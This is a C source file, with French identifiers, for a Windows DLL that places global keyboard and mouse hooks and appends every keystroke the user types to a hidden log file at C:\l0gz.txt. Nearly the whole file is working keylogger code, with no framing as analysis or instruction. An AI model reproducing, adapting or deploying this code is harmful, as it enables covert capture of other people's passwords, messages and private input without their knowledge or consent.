#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#define LOGZ "C:\\l0gz.txt"

__declspec(dllexport) int PlaceLeHook();
__declspec(dllexport) int EnleveHook();

LRESULT CALLBACK fonctionTraitementHookClavier(int nCode, WPARAM wParam, LPARAM lParam);
LRESULT CALLBACK fonctionTraitementHookSouris(int nCode, WPARAM wParam, LPARAM lParam);

int mfprintf(char* texte);
int EffacementLettre();
char nouvelleFenetre[256] , ancienneFenetre[256];

HINSTANCE hinstanceDLL; // handle dll
HHOOK hookClavier , hookSouris; // Handle hook


__declspec(dllexport) PlaceLeHook()
{
    hookClavier = SetWindowsHookEx( WH_KEYBOARD , fonctionTraitementHookClavier , hinstanceDLL , 0 ); //SetWindowsHookEx -> http://msdn2.microsoft.com/en-us/library/ms644990.aspx.
    hookSouris = SetWindowsHookEx( WH_MOUSE , fonctionTraitementHookSouris , hinstanceDLL , 0 );
    if(hookClavier == NULL || hookSouris == NULL)return 0;
    return 1;
}

__declspec(dllexport) EnleveHook()
{
    int test1 = UnhookWindowsHookEx(hookClavier); //UnhookWindowsHookEx -> http://msdn2.microsoft.com/en-us/library/ms644993.aspx.
    int test2 = UnhookWindowsHookEx(hookSouris);
    return ((test1 != 0) && (test2 != 0))?1:0;
}

LRESULT CALLBACK fonctionTraitementHookSouris(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode == HC_ACTION)
    {
        PMOUSEHOOKSTRUCT structMouse = (PMOUSEHOOKSTRUCT)lParam;
        POINT coord = structMouse->pt;
        POINT resoEcran = {GetSystemMetrics(SM_CXSCREEN)-1,GetSystemMetrics(SM_CYSCREEN)-1};

        if( (coord.x == 0) && (coord.y == 0) )
        {
            OutputDebugString("Coin superieur gauche.");
        }
        if( (coord.x == resoEcran.x) && (coord.y == resoEcran.y))
        {
            OutputDebugString("Coins inferieur droit.");
        }
    }
    return CallNextHookEx(hookSouris,nCode,wParam,lParam);
}

LRESULT CALLBACK fonctionTraitementHookClavier(int nCode, WPARAM wParam, LPARAM lParam)
{
    if( (lParam & 0x40000000) && nCode == HC_ACTION)
    {
        switch(wParam)
        {
            case VK_BACK : mfprintf("[SUPPR]"); break;
            case VK_TAB : mfprintf("[TAB]"); break;
            case VK_RETURN : mfprintf("[ENTER]\r\n");break;
            case VK_CONTROL : mfprintf("[CTRL]"); break;
            case VK_MENU : mfprintf("[ALT]"); break;
            case VK_PAUSE : mfprintf("[PAUSE]"); break;
            case VK_PRIOR : mfprintf("[PGUP]"); break;
            case VK_NEXT : mfprintf("[PGDN]"); break;
            case VK_END : mfprintf("[END]"); break;
            case VK_HOME : mfprintf("[HOME]"); break;
            case VK_LEFT : mfprintf("[LEFT]"); break;
            case VK_UP : mfprintf("[UP]"); break;
            case VK_RIGHT : mfprintf("[RIGHT]"); break;
            case VK_DOWN : mfprintf("[DOWN]"); break;
            case VK_SNAPSHOT: mfprintf("[SNAP]"); break;
            case VK_DELETE : mfprintf("[DEL]"); break;
            case VK_LWIN : mfprintf("[LWIN]"); break;
            case VK_RWIN : mfprintf("[RWIN]"); break;
            case VK_APPS : mfprintf("[APPS]"); break;
            case VK_NUMPAD0 : mfprintf("[NUM0]"); break;
            case VK_NUMPAD1 : mfprintf("[NUM1]"); break;
            case VK_NUMPAD2 : mfprintf("[NUM2]"); break;
            case VK_NUMPAD3 : mfprintf("[NUM3]"); break;
            case VK_NUMPAD4 : mfprintf("[NUM4]"); break;
            case VK_NUMPAD5 : mfprintf("[NUM5]"); break;
            case VK_NUMPAD6 : mfprintf("[NUM6]"); break;
            case VK_NUMPAD7 : mfprintf("[NUM7]"); break;
            case VK_NUMPAD8 : mfprintf("[NUM8]"); break;
            case VK_NUMPAD9 : mfprintf("[NUM9]"); break;
            case VK_MULTIPLY: mfprintf("*"); break;
            case VK_ADD : mfprintf("+"); break;
            case VK_SUBTRACT: mfprintf("-"); break;
            case VK_DECIMAL : mfprintf("."); break;
            case VK_DIVIDE : mfprintf("/"); break;
            case VK_F1 : mfprintf("[F1]"); break;
            case VK_F2 : mfprintf("[F2]"); break;
            case VK_F3 : mfprintf("[F3]"); break;
            case VK_F4 : mfprintf("[F4]"); break;
            case VK_F5 : mfprintf("[F5]"); break;
            case VK_F6 : mfprintf("[F6]"); break;
            case VK_F7 : mfprintf("[F7]"); break;
            case VK_F8 : mfprintf("[F8]"); break;
            case VK_F9 : mfprintf("[F9]"); break;
            case VK_F10 : mfprintf("[F10]"); break;
            case VK_F11 : mfprintf("[F11]"); break;
            case VK_F12 : mfprintf("[F12]"); break;
            case VK_F13 : mfprintf("[F13]"); break;
            case VK_F14 : mfprintf("[F14]"); break;
            case VK_F15 : mfprintf("[F15]"); break;
            case VK_F16 : mfprintf("[F16]"); break;
            case VK_F17 : mfprintf("[F17]"); break;
            case VK_F18 : mfprintf("[F18]"); break;
            case VK_F19 : mfprintf("[F19]"); break;
            case VK_F20 : mfprintf("[F20]"); break;
            case VK_F21 : mfprintf("[F21]"); break;
            case VK_F22 : mfprintf("[F22]"); break;
            case VK_F23 : mfprintf("[F23]"); break;
            case VK_F24 : mfprintf("[F24]"); break;

            default :
            {
                WORD lettre;
                char out[256];
                if(GetKeyboardState(out))
                {
                    ToAscii(wParam,lParam,out,&lettre,0);
                    mfprintf((char*)&lettre);
                }
                break;
            }
        }

    }
    return CallNextHookEx(hookClavier,nCode,wParam,lParam);
}

int mfprintf(char* texte)
{
    LPOVERLAPPED structAsynchr;
    DWORD taille, dwWaitResult;
    HANDLE fp = CreateFile( LOGZ , GENERIC_WRITE ,  FILE_SHARE_WRITE , NULL , OPEN_ALWAYS , FILE_ATTRIBUTE_NORMAL , NULL );

    if(fp == INVALID_HANDLE_VALUE)return 0;

    SetFilePointer( fp , 0 , 0 , FILE_END);
    WriteFile( fp , texte , strlen(texte) , &taille , NULL );

    CloseHandle(fp);

    return taille;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
    switch(fdwReason)
    {
        case DLL_PROCESS_ATTACH:
        {
            hinstanceDLL = hinstDLL;
            break;
        }

        case DLL_PROCESS_DETACH:
        EnleveHook();
        break;
    }
    return TRUE;
}